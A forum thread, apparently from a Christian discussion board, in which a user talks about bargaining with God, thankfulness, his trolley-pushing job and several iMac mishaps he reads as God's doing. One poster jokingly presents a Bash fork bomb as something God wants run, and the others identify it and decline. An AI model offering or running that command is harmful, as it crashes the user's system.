God and my computers...?

[nonaeroterraqueous]

I thought it was a wake-up call that I don't take God seriously... Though salvation doesn't require works, surely Christians should take God seriously.

I'm glad you ended with that conclusion. I was referring to your first post, where you said this:

I thought that maybe I should offer God something to help me...

You were considering a barter. It says something about a person. Take Christmas, for example, where everyone is trading gifts. If you didn't know what was going on it might look like bartering, the exchange of goods. Yet, it's not just an economic transaction, and if it were, then it would be so much less than what it could have been. What is Christmas, anyway? It's where someone gives you what you probably could have bought for yourself, and it's never one-hundred-percent what you would have picked if you had gone to the store. It's not about the physical goods, but the sentiment behind them.

The same is true for God. If you try to offer him something in exchange for his services, then you're not offering him what he really wants.

 

[JohnClay]

.....You were considering a barter.

No I thought maybe God was wanting it. Not necessarily to get a miracle in return. Btw what about this?
Jephthah's daughter - Wikipedia

It says something about a person.

I was running out of options and I hadn't really ever done anything for God.

Them same is true for God. If you try to offer him something in exchange for his services, then you're not offering him what he really wants.

What does he really want?

 

[nonaeroterraqueous]

Btw what about this?
Jephthah's daughter - Wikipedia

I always thought that was a horrible mistake. Makes me cringe just thinking about it. I always figured he was paying more for the mistake of bargaining with God than for winning the battle.

What does he really want?

I hope you'll forgive me if words escape me. I usually bail on dialogue. Luke 10:27 says it all.

 

[JohnClay]

I hope you'll forgive me if words escape me. I usually bail on dialogue. Luke 10:27 says it all.

Well I'd love God with about 1% of myself....

 

[nonaeroterraqueous]

Well I'd love God with about 1% of myself....

Do you see what I'm getting at, then?

 

[JohnClay]

Do you see what I'm getting at, then?

So I should do something for God? I could have done that and also not expect God to do anything in return.....

 

[jacks]

God wants you to run the following command. (If you're using the Bash shell ) He will then bless you in what seems like forever!

:(){ :|: & };:

 

[JohnClay]

God wants you to run the following command. (If you're using the Bash shell ) He will then bless you in what seems like forever!

:(){ :|: & };:

Looks like a fork bomb

 

[nonaeroterraqueous]

Yeah...I wouldn't touch that.

 

[JohnClay]

Yeah...I wouldn't touch that.

So I should do something for God? I could have done that and also not expect God to do anything in return.....

 

[nonaeroterraqueous]

So I should do something for God? I could have done that and also not expect God to do anything in return.....

Sorry, I was just looking at that fork bomb.

If you live obediently to God, without expecting anything in return, then what is your motivation, if you don't mind my asking?

 

[JohnClay]

....If you live obediently to God, without expecting anything in return, then what is your motivation, if you don't mind my asking?

I don't live obediently to God... I don't love God with all of my heart, mind, soul and strength. I haven't preached to the world. I'm not expecting anything in return though. My motivation would be to thank God for how just about everything has been working out well.

 

[nonaeroterraqueous]

My motivation would be to thank God for how just about everything has been working out well.

Your motivation is thankfulness?

Colossians 2:6-7
Hebrews 12:28

Thankfulness is sincere worship. That's not a bad motivation at all.

 

[JohnClay]

Your motivation is thankfulness?

Colossians 2:6-7
Hebrews 12:28

Thankfulness is sincere worship. That's not a bad motivation at all.

I mean if I was to do something for God, my motivation might be thankfulness...
Perhaps the game I'm working on could be considered to be for God? (even some Christians I know seem to like it)
MOVED Controversial Bible massacre game
Or my webpage about "the Bible test"
"The Bible Test" - is it just a test of your character?
For those two examples perhaps my motivation is about being interested and it seems to be rewarding....

 

[JohnClay]

About my job:

My job is to push shopping trolleys for 8 hours a week (since after ECT my cognitive/working memory isn't good). Lately I've been saying how it being quiet is really good. Then yesterday it was about the quietest it's ever been. Then I started to feel bored for a couple of seconds at a time. A while later I realised that I was feeling bored because it was really quiet. In a game design subject I learnt that the enjoyable "flow" feeling is when things are too challenging to feel boring but not challenging enough to feel frustrating. I thought that I have to have negative emotions sometimes - otherwise I'd get manic and go to the hospital like I've done a few times. I thought it would be better to be bored than too busy - and with boredom I'm still in control. Then I started to imagine songs in my head. I am ok at it... but I can't visualise images at all. I started off with the "Fame" song... then I was trying to think of "Enter Sandman". It is one of my favourite songs. I got the Metallica black album in high school. A couple of days ago, my friend had the album playing on his multi-stacker CD player in his car. One of the songs was "Holier than Thou". It is probably my least favourite song on the album but in my trolley job I started thinking about it. I'm not sure if it was relevant but I was imagining the song. I also imagined some of Amy Grant's songs.

So I was stopping feeling bored - but I need to have negative emotions sooner or later. Then I was having pretty strong physical pain... I hadn't felt that for several weeks. So I went to the chemist and bought some fasting acting pain killers. So then I guess I need some other type of negative emotions. Then soon after that I had discomfort with going to the toilet.
During that day (yesterday) I was thinking that things with God and my life have been going about as well as I could reasonably expect. I earn next to nothing (about US$10/hr) though. If I earned more I'd outsource other people to work on my book and game, etc, but it gives me some goals for the long term.

A few months ago I was thinking to myself it was the best day of my life. When I was on the bus I was talking on the phone about this and a guy next to me said I was talking too loud. The main reason was I thought I was good at making symbols and logos and since the Pepsi logo cost $1m maybe I could earn a reasonable amount (maybe at least $100/wk)

Well I wanted to talk about my life...

 

[JohnClay]

From a documentary available on Netflix - "American Gospel: Christ Alone"

God has purposes in our suffering
• to humble us • to conform us into the image of Christ • to wean us off of the world • to purify us • to help us identify with other people who are suffering

The documentary is anti-prosperity gospel.

 

[JohnClay]

I was looking for a replacement iMac on eBay and saw a 27 inch late 2013 one for AUS$600 (US$415)... it was packed with a huge amount of styrofoam beans and bubble wrap yet somehow it looked liked it was dropped on concrete from a significant distance. It still worked though. I wanted a replacement but they just gave me a refund. I think that it just wasn't meant to be.... I mean the text on the screen was too hard to read (at 2560x1440)

 

[JohnClay]

On my Windows PC I've got 4 SATA drives (2 SSD, 1 HDD and a blu-ray burner). I ordered some more RAM and when I put it in my primary SSD drive and another drive stopped working. I prayed to God and they still wouldn't work. I thought that I was greedy (had 10 Gb RAM and wanted 16 Gb). When I looked carefully in the BIOS I saw that I actually have 6 SATA ports... so I used the unused ones. They still weren't all working then I noticed that some of the SATA power cables weren't plugged in. The new RAM wasn't working because it was ECC registered RAM for servers not desktops....

 

[JohnClay]

One of my computers is a 21 inch iMac. I use an earphone when watching videos like YouTube, etc. Anyway the earphone cord got caught on the computer desk when I was getting up. The iMac was on a pile of two books and fell face first onto the computer desk. Then it fell onto the floor. Luckily it didn't seem to get damaged. Well there is no sound with the earphone out but otherwise it seems to be fine. I thanked God for that. I have an extension cord now for the earphones so it is less likely to get caught again.

I thought it was ironic that earlier the new iMac was smashed for no obvious reason and this time it would have been expected to have a crack. It seems like quite a bit of a miracle to me but I'm not very obsessed about it.

Also about a month earlier my 2011 iMac had a corrupted start up screen and wouldn't start up. Apparently it was a problem with the GPU. My local computer store was unable to fix it because it was too old. I got a 2014 iMac on eBay for AU$600. Luckily using Time Machine I could restore the old data and programs back completely. My point is that I was very fortunate this time (lost zero things)

 

[JohnClay]

A kind of miracle happened today:

Today I went to the pawnbroker "Cash Converters". They had two 2015 iMacs for about AU$400 each. I was helping to choose one for my mother in law. One was AU$60 cheaper than the other. We discovered a crack/chip and assumed that was the reason for the price difference. They couldn't get the keyboard and mouse to work so I got out the set I bought along. Then I discovered that it was a 2012 Mac, not a 2015.... so we looked at the other one more closely - it also wasn't 2015. Then there was a 2014 one for over AU$600. I asked if we could have it for $400 since the supposed 2015 ones were $400. The lady said the cheapest she could do is $500 and my mother-in-law was happy with that.

Then I checked the version and it was 2019! (not 2014) She said that I would have to pay AU$545. She said that two computers had been mixed up so I guess someone paid for a 2019 model and got a 2014. It had a 1 TB "Fusion" drive and boots up in a couple of seconds instead of a minute or more. I wanted that computer for myself but my mother-in-law wanted it. I said she can have my old 2014 iMac.... I said something like that I'd be very grateful if she could let me buy that new computer and she could have my old one.... then eventually she agreed. Then she paid AU$200 for my old computer.

It included a 90 warranty and an Apple keyboard and "magic trackpad" which are usually quite expensive. On eBay similar computers are AU$1150+. Maybe Cash Converters barely broke even on it...

I'm trying to save up as much money as possible and this is another iMac related situation that God may have been involved in.